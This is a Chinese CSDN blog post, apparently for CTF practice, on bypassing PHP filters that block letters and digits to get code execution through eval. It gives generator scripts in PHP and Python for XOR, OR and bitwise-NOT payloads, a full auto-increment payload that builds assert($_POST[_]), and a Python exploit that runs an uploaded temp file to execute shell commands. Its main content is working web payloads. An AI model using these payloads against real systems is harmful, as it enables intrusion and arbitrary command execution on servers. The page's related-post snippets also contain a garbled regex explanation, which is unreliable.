无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本）

最新推荐文章于 2024-02-29 16:28:47 发布
置顶 最新推荐文章于 2024-02-29 16:28:47 发布
阅读量1.4w 收藏 283
点赞数 105
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/miuzzx/article/details/109143413
版权

题目例子

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);

我们下面以命令system('ls')为例
一、异或

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

php运行后生成一个txt文档，包含所有可见字符的异或构造结果。
接着运行python脚本即可。
运行结果

[+] your function：system
[+] your command：ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

将我们得到的结果复制过去即可,最终效果如下图所示。
在这里插入图片描述

二、或
原理是一样的，只需要在上面的脚本上稍加改动即可

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

运行结果

[+] your function：system
[+] your command：ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

最终效果图
在这里插入图片描述

三、取反
因为取反的话，基本上用的都是一个不可见字符，所有不会触发到正则表达式，我们一个php脚本就可以了

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);

效果图
在这里插入图片描述

四、自增

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

效果图
在这里插入图片描述
五、上传临时文件
具体原理可以看p神文章

#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)

结语：

除这些之外我们还可以这样用${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo其中"%86%86%86%86^%d9%c1%c3%d2"为构造出的_GET，适合于过滤了引号的情况下使用。

以上关于异或和或的脚本，有个小优点，我们可以根据题目具体的过滤形式进行修改。具体位置已在脚本中说明。
yu22x
关注
  • 105
    点赞
  • 踩
  • 283
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 14
    评论
异或脚本rce题目绕过正则表达式必备
12-28
字符串转换成异或型，用于rce绕过正则表达式
C语言位运算符：与、或、异或、取反、左移和右移 (2).docx
03-11
。
无字母数字绕过正则表达式--上传临时文件、异或、或、取反、自增
unexpectedthing的博客
09-10 984
文章目录 借用羽神的文章，转发是为了自己后面方便看 https://blog.csdn.net/miuzzx/article/details/108569080?spm=1001.2014.3001.5501
无字母数字rce总结（自增、取反、异或、或、临时文件上传）
最新发布
whale_waves的博客
02-29 1272
临时文件上传 通过上传文件然后用符号.调用执行文件 第一个知识点： 通过post上传文件，此时php会在linux里的零时文件夹保存文件，且文件一定是php加上六个随机的字符 /tmp/php?????? 这个应php保存的临时文件会有一个特性，就是这6个随机的字符会出现大写的情况 例如： 普通文件/tmp/adcabcabc php保存的临时文件/tmp/phpAvxAsa 第二个知识点： 现在直到了文件上传的位置以及特性那么现在要怎么利用它 shell下支持使用. 来
常用的正则表达式
weixin_30394333的博客
07-10 184
基本符号： ^ 表示匹配字符串的开始位置 (例外 用在中括号中[ ] 时,可以理解为取反,表示不匹配括号中字符串) $ 表示匹配字符串的结束位置 * 表示匹配 零次到多次 + 表示匹配 一次到多次 (至少有一次) ? 表示匹配零次或一次 | 表示为或者,两项中取一项 ( ) 小括号表示匹配括号中全部字符 [ ] 中括号表示匹配括号中一个字...
正则表达式及绕过案例
lin152235的博客
07-21 1018
对正则表达式进行绕过，如果要绕过你需要在from前面不要出现不是单词边界，手动加入会报语法错误，所以这里需要考虑mysql中的科学计数法1e1来进行注入绕过，但是还是会出现一个问题就是使用科学计数法来进行查询会占一列，但是前面说到这个users中只有3列超过就会报错，所以直接使用group_concat来进行绕过,因为只能显示3列所以，我们将1，group_concat(…由orderby可以知道这个表一共有3列，那么我们就可以查看2，3列；可以看的出来，第二列存储的是登录密码，第三列是密码。...
命令执行无字母数字绕过
weixin_53498616的博客
03-21 723
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } 1.异或 $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$
php中一些不包含数字和字母的正则绕过
qq_53460654的博客
06-03 1315
php中一些不包含数字和字母的webshell eg： <?php if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } 思路： 将我们需要的payload用非字母和数字的字符经过变换得到，然后知道能p
CRC计算器、和、异或、异或取反校验
01-10
CRC计算器工具，有和、异或、异或取反等校验方法计算，方便前期应用开发
C语言位运算符：与、或、异或、取反、左移与右移详细介绍
12-26
含义 描述& 按位与 如果两个相应的二进制位都为1，则该位的结果值为1，否则为0| 按位或 两个相应的二进制位中只要有一个为1，该位的结果值为1^ 按位异或 若参加运算的两个二进制位值相同则为0，否则为1~ 取反 ~是...
C语言位运算符：与、或、异或、取反.docx
03-11
。
绕过正则表达式例子
weixin_52159400的博客
07-19 322
例如/select\b[\s\S]*\bfrom/绕过该类型正则表达式时可采用科学计数法的方式进行绕过。将搜索栏中第二个select删去即可实现。第一行为用户名，第二行为吗，密码第三行为1e1的值。1，当我们查询某数据库信息时，注入失败sqlinjection，被正则表达式所限制。由上图可知成功查询到user表中的数据，且mysql也支持该关键词的实现。但当我们查询数据库用户和密码绕过正则后提示查询范围超出。绕过语句select\b[\s\S]*\b。...
RCE绕过之无数字字母getshell
Ciyaso的博客
07-23 1762
无数字字母getshell ①取反 php可以对汉字取反获得乱码，但大多数会包含一个字母，例如你字取反为B_其中第二位就是大写字母B，所以可以通过这种方法获得字母B 这里使用羽师傅的脚本 <?php //在命令行中运行 /*author yu22x*/ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]you
正则表达式与绕过案例
weixin_55021949的博客
07-20 451
正则表达式
bugku 数字验证正则绕过
m0_52432374的博客
03-21 198
bugku 数字验证正则绕过 <?php error_reporting(0); $flag = 'flag{test}'; if ("POST" == $_SERVER['REQUEST_METHOD']) { $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配 { echo 'flag'; exit
浅谈无数字字母shell
记录学习，一起进步
03-29 389
浅谈无数字字母shell【PHP】
php无字母数字rce绕过基础操作
Welcome To Myon'Blog !
10-10 589
在php中，反引号可以直接命令执行系统命令，反引号的作用是命令替换，将其中的字符串当成shell命令执行，返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令，如果不是则会出错。当关键字 "php" 被过滤了之后，此时我们便不能使用了，但是我们可以用另外两种短标签进行绕过，并且在短标签中的代码不需要使用分号（;> 是为了闭合前面的php语句，后面则为执行命令的语句。url中的+表示空格，而要表示+号必须得用%2B，即URL编码。星号”*”指代任意字符数，问号“?
正则表达式
行来行去踢桃
04-16 190
这是个小知识点，无论哪个语言，这些什么\d,\D,\s,\S等规则都是一样的。我就不多说了。自己查看一下百度也就好了。 我把以前写的这部分知识直接复制过来 package com.duing.study; import java.util.Scanner; import java.util.regex.Pattern; import java.util.regex.Matcher; public...
WAF 的诡异编码绕过
时光凉春衫薄的博客
03-31 426
今天学到一个非常有意思的编码方式，我发现该种编码基本上可以打穿所有的waf产品。 原理很简单，通过一些异或运算将所有的敏感函数全部转换为有趣的自定义函数，包括一些颜文字之类的 具体原理请参照我之前的文章这里只列张图：https://blog.csdn.net/qq_38656841/article/details/102552004 这种编码网上有现成的转换工具人家都写好了只需要将你的p...
preg_match异或绕过
06-10
preg_match 函数是 PHP 中用于进行正则表达式匹配的函数。在某些情况下，我们可能需要绕过某些限制或过滤，这时可以使用异或运算符（^）来绕过。 例如，有时候我们需要匹配一个字符串中的数字，但是字符串中可能包含一些其他字符，如果直接使用 preg_match 可能会匹配到其他字符导致匹配失败。这时可以使用异或运算符来过滤掉不需要的字符： ``` $str = "123abc456"; if (preg_match("/^[0-9^a-z]+$/", $str)) { echo "Match!"; } else { echo "Not match!"; } ``` 上述代码中，正则表达式 `/^[0-9^a-z]+$/` 使用了异或运算符，表示匹配数字或不是小写字母的字符。这样就可以过滤掉字符串中的字母，只匹配数字。 需要注意的是，使用异或运算符绕过限制或过滤并不是一个安全的做法，因为正则表达式的匹配规则是公开的，攻击者也可以使用同样的方法绕过限制。建议在实际开发中尽量避免使用此方法。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 14
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值